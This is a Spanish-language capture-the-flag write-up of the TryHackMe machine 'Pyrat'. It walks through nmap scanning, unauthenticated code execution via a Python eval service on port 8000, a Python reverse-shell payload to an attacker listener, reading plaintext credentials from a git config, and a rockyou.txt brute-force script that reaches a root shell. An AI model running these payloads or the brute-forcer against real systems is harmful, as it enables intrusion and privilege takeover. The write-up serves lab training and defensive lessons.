

PYRAT

TryHackMe — Writeup

Autor: pedro | Dificultad: Easy | Fecha: 09/04/2026

Información General

Plataforma	TryHackMe
Nombre	Pyrat
Dificultad	Easy
IP Objetivo	10.129.150.104
SO	Ubuntu Linux
Puertos abiertos	22 (SSH), 8000 (HTTP-alt Python)
Flags	user.txt + root.txt

Resumen Ejecutivo

La máquina Pyrat expone un servidor Python en el puerto 8000 que evalúa directamente las conexiones entrantes como código Python (eval/exec), permitiendo RCE sin autenticación. Una vez dentro como www-data, se localiza un repositorio git en /opt/dev propiedad del usuario think, cuyo archivo .git/config contiene credenciales en texto claro. Con acceso SSH como think, se fuzzea un endpoint oculto 'admin' en el servicio pyrat que acepta contraseñas del diccionario rockyou.txt. Tras encontrar la contraseña correcta, el servicio otorga una shell interactiva como root.

Fase 1 — Reconocimiento

Escaneo de puertos

Se realiza un escaneo completo con nmap en dos fases: primero todos los puertos, luego detección de servicios en los puertos abiertos.

```
nmap -p- --open -sS --min-rate 5000 -n -Pn 10.129.150.104  
nmap -sCV -p 22,8000 10.129.150.104
```

Resultados

Puerto 22/tcp	OpenSSH 8.2p1 Ubuntu 4ubuntu0.13
Puerto 8000/tcp	SimpleHTTP/0.6 Python/3.11.2

El comportamiento del puerto 8000 llama la atención: nmap reporta errores como 'name GET is not defined' e 'invalid syntax', lo que indica que el servidor interpreta las peticiones como expresiones Python.

Fase 2 — Explotación inicial (RCE)

Python eval/exec en puerto 8000

Se conecta con netcat y se envían expresiones Python directamente. El servidor las evalúa y devuelve el resultado.

```
nc 10.129.150.104 8000
print( __import__( 'os' ).popen('id').read())
```

Respuesta del servidor:

```
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

RCE confirmado como www-data. Se establece reverse shell:

```
# Listener en la máquina atacante
nc -lvnp 4444
```

```
# Payload enviado al puerto 8000
import socket,os,pty; s=socket.socket(); s.connect(("10.X.X.X",4444));
os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);
pty.spawn("/bin/sh")
```

Fase 3 — Escalada a usuario think

Enumeración del sistema

Se identifican los usuarios con shell en el sistema:

```
cat /etc/passwd | grep -v nologin | grep -v false
```

Usuarios encontrados: root, think, ubuntu. El directorio /home/think no es accesible como www-data.

Repositorio git en /opt/dev

Buscando archivos propiedad de think y legibles por www-data:

```
find / -user think -readable 2>/dev/null
```

Se encuentra el directorio /opt/dev/.git con un repositorio git. El archivo .git/config contiene credenciales del usuario think en texto claro.

```
cat /opt/dev/.git/config
```

Con las credenciales obtenidas se accede por SSH:

```
ssh think@10.129.150.104
```

Se obtiene la flag de usuario:

```
cat /home/think/user.txt
```

Fase 4 — Escalada a root

Análisis del servicio pyrat

El proceso en puerto 8000 corre desde /root/pyrat.py. Leyendo el código fuente desde el objeto git ce425c se descubre la lógica del servidor:

- Si recibe 'shell' devuelve una shell pero baja privilegios primero (change_uid())
- Existe un endpoint especial que requiere autenticación por contraseña
- Si la autenticación es correcta otorga acceso admin con shell como root

Fuzzing del endpoint admin

Se desarrolla un script Python para fuzzear el endpoint y la contraseña usando rockyou.txt:

```
nc 10.129.150.104 8000
admin
Password:      <-- el servidor pide contraseña
```

Script de fuzzing de contraseña:

```
import socket
host = '10.129.150.104'; port = 8000
with open('/usr/share/wordlists/rockyou.txt','r',errors='ignore') as f:
    for password in f:
        password = password.strip()
        with socket.socket() as s:
            s.connect((host, port))
            s.sendall(b'admin\n')
            s.recv(1024)
            s.sendall((password+'\n').encode())
            r = s.recv(1024).decode()
            if 'password:' not in r.lower():
                print(f'[+] Password: {password}'); break
```

Contraseña encontrada: abc123

Obtención de shell como root

```
nc 10.129.150.104 8000
admin
abc123
Welcome Admin!!! Type "shell" to begin
shell
# whoami
root
```

```
cat /root/root.txt
```

Resumen de la cadena de ataque

Paso 1	RCE via Python eval en puerto 8000 → acceso como www-data
Paso 2	Credenciales de think en /opt/dev/.git/config → SSH como think
Paso 3	Fuzzing del endpoint 'admin' + contraseña 'abc123' → shell como root

Lecciones aprendidas

- Nunca exponer un servicio que evalúe input del usuario como código (eval/exec).
- Los repositorios git pueden contener credenciales en .git/config o en el historial de commits.
- Los servicios internos con autenticación débil son vectores de escalada de privilegios.
- Contraseñas simples como 'abc123' son vulnerables a ataques de diccionario con rockyou.txt.